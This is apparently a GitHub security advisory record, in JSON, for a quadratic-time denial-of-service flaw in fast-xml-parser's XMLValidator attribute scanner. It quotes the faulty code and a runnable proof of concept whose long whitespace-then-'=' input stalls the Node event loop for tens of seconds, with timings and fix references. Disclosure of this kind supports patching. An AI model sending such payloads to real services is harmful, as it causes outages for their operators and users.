{"id":"GHSA-7cfw-w2rf-f3jc","summary":"fast-xml-parser: Quadratic-time (ReDoS-class) denial of service in XMLValidator attribute scanner, default options","details":"### Summary\n\nReported by Nikhil Agrawal, Mettle Labs; reproduced only against a clean local install of `fast-xml-parser@5.11.2` on their own machine. `scanAttributeTokens` in `src/validator.js` rescans a leading-whitespace run on every loop iteration when it hits a stray `=`, giving Theta(n^2) time. A few-hundred-KB input stalls the event loop for tens of seconds. Reachable on the default path via both `XMLValidator.validate(xml)` and `new XMLParser().parse(xml, true)`, no non-default options.\n\n### Details\n\n\n`src/validator.js`, `scanAttributeTokens` — on a `=` with no attribute name before it, `i` is reset to one past the **token start**, not past the `=`, so the leading-whitespace scan repeats:\n\n```js\nfunction scanAttributeTokens(attrStr) {\n  const tokens = [];\n  const len = attrStr.length;\n  let i = 0;\n  while (i \u003c len) {\n    const tokenStart = i;\n    // Leading whitespace before the name.\n    while (i \u003c len && isWhiteSpace(attrStr[i])) i++;\n    if (i \u003e= len) break;\n    if (attrStr[i] === '=') {\n      // No name before this '=' — not a valid attribute start.\n      i = tokenStart + 1;      // \u003c-- rewinds to tokenStart+1, NOT past the '=' -\u003e re-scans the whitespace\n      continue;\n    }\n    ...\n```\n\nFor an attribute string of the shape `\u003cwhitespace run\u003e =`, each outer iteration advances `tokenStart` by one but re-walks the entire remaining whitespace run up to the `=`, so total work is quadratic in the run length. It is reached whenever an element's attribute section is scanned, which both `XMLValidator.validate()` and `XMLParser.parse(xml, true)` (validation enabled) do on the default path. (This scanner is a recent regex -\u003e hand-scanner rewrite; the quadratic rescan is in the rewrite.)\n\n### Proof of concept\n\n\nA few-hundred-KB document hangs the validator. Runnable against a clean `npm i fast-xml-parser@5.11.2`\n(Node \u003e= 18):\n\n```js\n// poc-fxp-quadratic.mjs\nimport { XMLValidator, XMLParser } from \"fast-xml-parser\";\n\nfor (const n of [20000, 40000, 80000, 160000]) {\n  const xml = \"\u003ca \" + \" \".repeat(n) + \"=\u003e\";          // \u003celement\u003e\u003cwhitespace run\u003e=  -\u003e stray '='\n  const t0 = process.hrtime.bigint();\n  XMLValidator.validate(xml);                          // path 1: validate()\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(`validate   n=${n}  ${ms.toFixed(0)} ms`);\n}\n\n// path 2: XMLParser.parse(xml, true) hits the same scanner\nconst big = \"\u003ca \" + \" \".repeat(200000) + \"=\u003e\";\nconst t0 = process.hrtime.bigint();\ntry { new XMLParser().parse(big, true); } catch (_) {}\nconsole.log(`parse(.,true) n=200000  ${(Number(process.hrtime.bigint() - t0) / 1e6).toFixed(0)} ms`);\n```\n\nMeasured on `fast-xml-parser@5.11.2` (unpatched): n=20k -\u003e 461 ms, 40k -\u003e 1755 ms, 80k -\u003e 7108 ms, 160k -\u003e 29847 ms (~4x per 2x length = quadratic); **200k -\u003e ~45 s**. A ~200 KB request stalls the event loop ~45 s.\n\n### Impact\n\n\nA single few-hundred-KB document sent to any service that validates or parses (with validation) attacker-controlled XML via fast xml-parser stalls the Node event loop for tens of seconds — a remote denial of service on the most-installed XML parser for Node, on the default code path.","aliases":["CVE-2026-141469"],"modified":"2026-12-01T23:45:03.935975240Z","published":"2026-12-01T23:35:22Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-12-01T23:35:22Z","nvd_published_at":"2026-12-01T21:17:10Z","cwe_ids":["CWE-1333","CWE-400"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-7cfw-w2rf-f3jc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-141469"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/4a1623bc23c011fd5ea0b72c21b00f3109688e6c"},{"type":"PACKAGE","url":"https://github.com/NaturalIntelligence/fast-xml-parser"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.12.1"}],"affected":[{"package":{"name":"fast-xml-parser","ecosystem":"npm","purl":"pkg:npm/fast-xml-parser"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.12.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 5.12.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-7cfw-w2rf-f3jc/GHSA-7cfw-w2rf-f3jc.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}